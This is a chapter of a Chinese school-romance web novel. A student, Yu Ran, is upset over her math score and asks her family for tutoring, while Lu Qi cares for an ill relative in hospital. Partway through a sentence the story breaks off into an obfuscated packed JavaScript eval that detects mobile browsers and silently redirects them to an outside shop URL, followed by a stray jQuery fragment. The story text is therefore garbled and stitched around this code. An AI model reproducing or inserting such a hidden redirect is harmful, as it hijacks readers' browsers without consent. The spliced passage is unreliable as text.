文趣网 > 其他小说 > 含一颗糖 > 9. 补课了!
    ——

    陆柒照常和杨姨沟通好,放了学换他去陪床。

    那边刘衡轩问陆柒后天去不去,陆柒给他回了条信息就关了手机。

    注意到旁边的人无声地坐下,又半天没有再动。

    周身的活泼气也死沉下去。

    陆柒瞥过眼。

    女孩捧着个粉色的水壶搭在书桌上,视线像是呆呆地看着瓶底出神,跟平常的走神没什么区别。

    只是眼眶明显地红了。

    浅粉色的唇瓣抿着,扬着向下的弧度——是极其委屈的表现。

    长睫毛盖住那双总是亮晶晶的圆眼,脑袋的高马尾都透着低落。

    有一种布娃娃变得灰扑扑了的样子。

    上课铃响起,陆柒收回视线。

    晚自习放学,虞染垂着头,抓着书包带子往校门口走。

    听到谢慧馨和别人打招呼的声音——他们第四大组的组长。

    虞染和她一起打过羽毛球,相处得算挺好的。

    咬了下唇,虞染鼓起勇气凑过去。

    “慧馨......”虚飘涣散的女声吓得谢慧馨抱住自己原地弹跳了一下。

    “我妈呀——!”

    “对不起对不起!”虞染也被吓到,局促地抓紧书包带子。

    谢慧馨看着她惊魂未定地松气拍了拍胸口,又摆手说没事。

    虞染闹出这么不好的开头,也不好意思再开口了,窘迫地看着她,想说个告别的话算了。

    但谢慧馨也听到了一些风言风语,看见虞染这乖巧的小可怜样,心底啧了一声。

    “真把他们的屁话听进去了啊?”谢慧馨大手一挥揽住她的脖颈。

    “没事的宝儿!你又不差,达优了就很棒啊——他们之前还传你连九十都没有呢!”

    谢慧馨猛摇了摇她,“龙浩达不也才129嘛!”

    虞染因为对方的安慰和鼓励,跌倒谷底的心情回升了一点点,含着泪花感激地望着她。

    但对方又接着说:“不过他是急着跑厕所去了,没写最后那三大题。”

    虞染瘪了瘪嘴。

    “但是真的不差的!”谢慧馨其实也不知道怎么安慰,干巴巴几句话还没有纯动作表达更有力一点。

    “那、月考一般你们是考多少分啊?”虞染摇摇头,努力收起自己的伤心,问出她原本想问的。

    “呃,”谢慧馨挠了挠脸,顿了下还是模糊地说:“和这差不多吧......嗯...”可能还会更加重视发力一些.....

    却发现虞染没有变得更丧气,而是点点头,对她扬起感激地笑容。

    虞染吸了吸鼻子,顺着姿势张开手臂将谢慧馨抱住,闷闷出声:

    “慧馨,谢谢你。”

    “哎呀.....”

    谢慧馨懵逼但良好地接受了这个拥抱,摸摸她的头拍拍她的肩,不觉感叹——

    虞染怎么这么.......萌?

    “虞染。”

    又一道柔和轻声的女声突兀响起,“慧馨。”

    两人分开拥抱,看向发声处。

    是许清悠,站在她们一侧,因为比较昏暗的光线,额间至眉的刘海造成阴影盖住了她大半的双眸,看不清眼神,但唇是微弯着的。

    “清悠?”虞染有些疑惑,许清悠一般为了赶公交车,每次都出校门很早的。

    “是不是有点担心数学成绩了?”许清悠看着虞染,声音轻柔。

    “可不是嘛!”谢慧馨煞有其事先开口了:“刚刚差点抱着我呜呜哭出来!”

    虞染听她夸大的描述,嗔怪羞赫地瞪她一眼。

    “你可以找我们多问问题目的。”许清悠还是看着虞染。

    虞染感激地点点头,因为未落的泪光沾上眼瞳,借着灯光反射有些发亮。

    ——其实她已经问得够多了,老是下了课腆着脸跑去找他们问,特别吃完饭她还会厚着脸皮问许清悠一两道。

    他们也没有因为题简单就鄙视拒绝,相反还解释得很详细,又耐心,虞染真的超级感激,只能默默再多给一些能收的小零食。

    但是虞染也知道,他们可能付出的时间和认真比自己还要多,时间和思考对他们来说也更宝贵。

    ——自己不应该自私自利、理所当然地滥用他们对自己的善意。

    交到这些好朋友已经是她很大的幸运了。

    虞染内心又酸涩又感动。

    “哎呀我们快回家吧!今天真是太谢谢你们啦!”虞染对她们露出一个大大的笑容,拉着她们的手臂着急忙慌地要往外走。

    回到家,虞染抿着小嘴进了门,深呼吸一口气,严肃地看着都在客厅待着、但各干各的三人,郑重宣布——

    “我、要、补、课!”

    “......”

    气氛寂静一瞬。

    “染染,是不是在学校遇到什么不开心的事了?”乔薇一脸担忧地看着她。

    虞渊皱着眉但沉着开口:“染染,想要补到多少分?”

    “.......虞染你脑子学傻了?”只有养病请假的虞野抽了抽嘴角,一脸迷惑。

    虞染抿了抿唇,只说自己想月考成绩好一点,想上像他哥那么好的大学。

    其实三人多少也猜出点原因,虽然心疼,大不了给她再换一个环境。

    但还是选择了尊重虞染的意愿。

    只是乔薇和虞渊一时也不太清楚该怎么找家教好一点——没这个经验。

    虞野虽然顽劣,但好歹继承了他们的智商,学习没让他们操过心。

    虞染虽然不是那么有天赋,但乖巧又懂事,优不优秀的他们并不在意,快快乐乐活一辈子就足够了。

    这会儿突然想要发愤图强了,乔薇虞渊也一时没想好是报辅导班还是找私教。

    “这简单啊,”虞野挑挑眉开了口,腿交叠搭在玉桌边上,翻着手机,“你找我朋友,她就搞家教的。”

    虞染眼睛亮了亮,凑近他:“数学厉害吗?”

    “靠数学竞赛保送的。”

    “哇!”虞染之前没接触过这种竞赛,只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891338|212751||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知道许清悠和陆柒就是通过了数学竞赛,保送到了清大。

    只是虞渊皱着眉,不信任地看着虞野:“靠谱吗?”

    虞野翻了个白眼:“我存心要害虞染啊?你们给她面个试不就行了。”

    虞染这会儿觉得她哥还是挺靠谱的,眼睛蹭亮地走到虞野面前给他说好话。

    虞野不以为然地哼笑着,手上已经开始翻好友列表了。

    ——

    陆柒六点半准时醒了,从一张狭窄冷硬的陪护床上坐起身,眉头微微蹙着。

    指尖轻拢额前的发丝,将有些凌乱的黑发梳过脑后。

    轻软的发丝在头顶飘了飘,又缓缓压回去,盖住一点透着戾气和散漫的黑眸。

    迅速在隔间洗漱整理好出来,病房已经因为一个病人不消停的咳嗽哀吟完全醒了过来。

    那床的家属正焦急地按着呼叫铃,握着他孩子的手不知所措。

    “谭叔。”

    谭琦也醒了过来,脑袋转向出事的那个病床看着。

    陆柒伸手摸向他的额头,确认体温正常。

    “没有感觉肌肉酸胀吧?”陆柒洗了把冷水脸,额间的碎发沾湿了一些,皮肤因为温度显得更加冷白,深邃锋利的眉眼此刻却没有什么攻击性。

    “没.....”谭琦慢慢回正脑袋,抿着唇暗暗绷紧身体,配合陆柒托着他的肩、腰慢慢翻过身。

    “好。”

    陆柒给他继续轻轻舒展着四肢关节。

    那边的病床情况被赶来的医生稳住了,小孩免疫力本来就极差,稍微受点寒风就容易加重病情。

    好在没掉出血氧的指标范围,医生对一身凌乱的父亲轻声叮嘱。

    类似的事情一个月前就发生在了谭琦身上。

    肺部感染,谭琦从剧烈不止的咳嗽声惊醒,严重到第七次进了ICU。

    原本减轻的症状急剧加重,连手指动弹都费力,说话也艰难刺痛。

    甚至,谭琦抢救的时间已经一次比一次长了。

    杨悦早早过来,拿着一个大袋子,里面是她今天得做完的手工。

    陆柒应了声杨悦的话语,把谭琦的手放好盖在棉被下,拿过一旁的书包和杨悦做的早餐去学校。

    值得庆幸的是,医院和二中离得非常近,只要几分钟的路程。

    陆柒七点左右到达教室,此时也才零星几个人,其中就有雷打不动的许清悠和马卢杰。

    陆柒拿出习题做了会,还是选择趴在桌面上,枕着手臂补觉。

    教室也开始变得嘈杂起来,算着时间,陆柒睁开清明的双眸。

    又做了一两道题,旁边有人坐下的声音几不可见。

    ——至少没有那双带着热意的目光来得强烈。

    “陆柒.....早上好?”

    陆柒看着题目上的选项,无意识地意外发声者的乐观程度——毕竟前几天还在委屈地掉眼泪。

    他转过头,与果然带着笑意的虞染对视,唇角扬起的弧度很淡,喉间发闷。

    “嗯。”